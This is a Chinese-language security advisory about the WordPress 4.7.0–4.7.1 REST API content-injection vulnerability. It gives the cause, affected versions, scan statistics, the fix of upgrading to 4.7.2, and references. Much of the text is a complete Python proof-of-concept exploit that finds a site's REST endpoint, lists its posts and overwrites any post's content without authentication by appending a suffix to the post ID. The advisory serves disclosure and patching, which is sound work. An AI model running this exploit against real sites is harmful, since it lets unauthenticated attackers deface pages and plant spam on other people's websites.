【漏洞预警】Wordpress 内容注入漏洞

匿名者  2639天前

【漏洞预警】Wordpress 内容注入漏洞

2017年2月1日Wordpress系统被曝出内容注入漏洞,该漏洞可以导致攻击者在未验证的情况下修改任意文章或者页面内容,导致被用来做seo优化散步垃圾信息等危害。

WordPress是一种使用PHP语言开发,全球流行的一款CMS系统,根据白帽汇FOFA系统统计,目前,全球共有560万个Wordpress构建的网站,中国地区有5万个。

wordpress1.png

漏洞原理与危害

         在Wordpress4.7.0版本以后,REST API插件集成到Wrodpress系统中,为系统默认支持的功能,并默认开启。通过REST API可以对文章进行,增加,修改,删除,查看文章操作。在REST API中存在未验证访问bug,引发漏洞,导致任何人可以修改Wordpress的任意文章内容或页面。

 

漏洞影响

影响的Wordpress版本

         4.7.0和4.7.1

 

影响范围

白帽汇第一时间对漏洞进行复现,并编写了扫描程序进行了全球扫描,目前全球现有将近560万的Wordpress网站(网站分布情况,非漏洞影响情况)。其中国内有5万个。根据目前扫描情况,目前存在漏洞的网站比例为1%。

 

漏洞POC

import json

import sys

import urllib2

 

from lxml import etree

 

 

def get_api_url(wordpress_url):

   response = urllib2.urlopen(wordpress_url)

 

   data = etree.HTML(response.read())

    u= data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]

 

    #check if we have permalinks

   if 'rest_route' in u:

       print(' ! Warning, looks like permalinks are not enabled. This might notwork!')

 

    return u

 

 

def get_posts(api_base):

   respone = urllib2.urlopen(api_base + 'wp/v2/posts')

   posts = json.loads(respone.read())

 

   for post in posts:

       print(' - Post ID: {}, Title: {}, Url: {}'

              .format(post['id'],post['title']['rendered'], post['link']))

 

 

def update_post(api_base, post_id,post_content):

    #more than just the content field can be updated. see the api docs here:

    #https://developer.wordpress.org/rest-api/reference/posts/#update-a-post

   data = json.dumps({

       'content': post_content

   })

 

   url = api_base +'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)

   req = urllib2.Request(url, data, {'Content-Type': 'application/json'})

   response = urllib2.urlopen(req).read()

 

   print('* Post updated. Check it out at{}'.format(json.loads(response)['link']))

 

 

def print_usage():

   print('Usage: {} <url> (optional: <post_id> <file withpost_content>)'.format(__file__))

 

 

if __name__ == '__main__':

 

    #ensure we have at least a url

   if len(sys.argv) < 2:

       print_usage()

       sys.exit(1)

 

    #if we have a post id, we need content too

   if 2 < len(sys.argv) < 4:

       print('Please provide a file with post content with a post id')

       print_usage()

       sys.exit(1)

 

   print('* Discovering API Endpoint')

   api_url = get_api_url(sys.argv[1])

   print('* API lives at: {}'.format(api_url))

 

    #if we only have a url, show the posts we have have

   if len(sys.argv) < 3:

       print('* Getting available posts')

       get_posts(api_url)

 

       sys.exit(0)

 

    #if we get here, we have what we need to update a post!

   print('* Updating post {}'.format(sys.argv[2]))

   with open(sys.argv[3], 'r') as content:

       new_content = content.readlines()

 

   update_post(api_url, sys.argv[2], ''.join(new_content))

 

   print('* Update complete!')

 

Clipboard Image.png

CVE编号

修复建议

1、  升级到最新的4.7.2版本。下载地址:

https://github.com/WordPress/WordPress/releases/tag/4.7.2

 

白帽汇会持续对该漏洞进行跟进。

 

参考

[1] https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

[2] https://www.exploit-db.com/exploits/41223/

[3] https://www.exploit-db.com/exploits/41224/

最新评论

昵称
邮箱
提交评论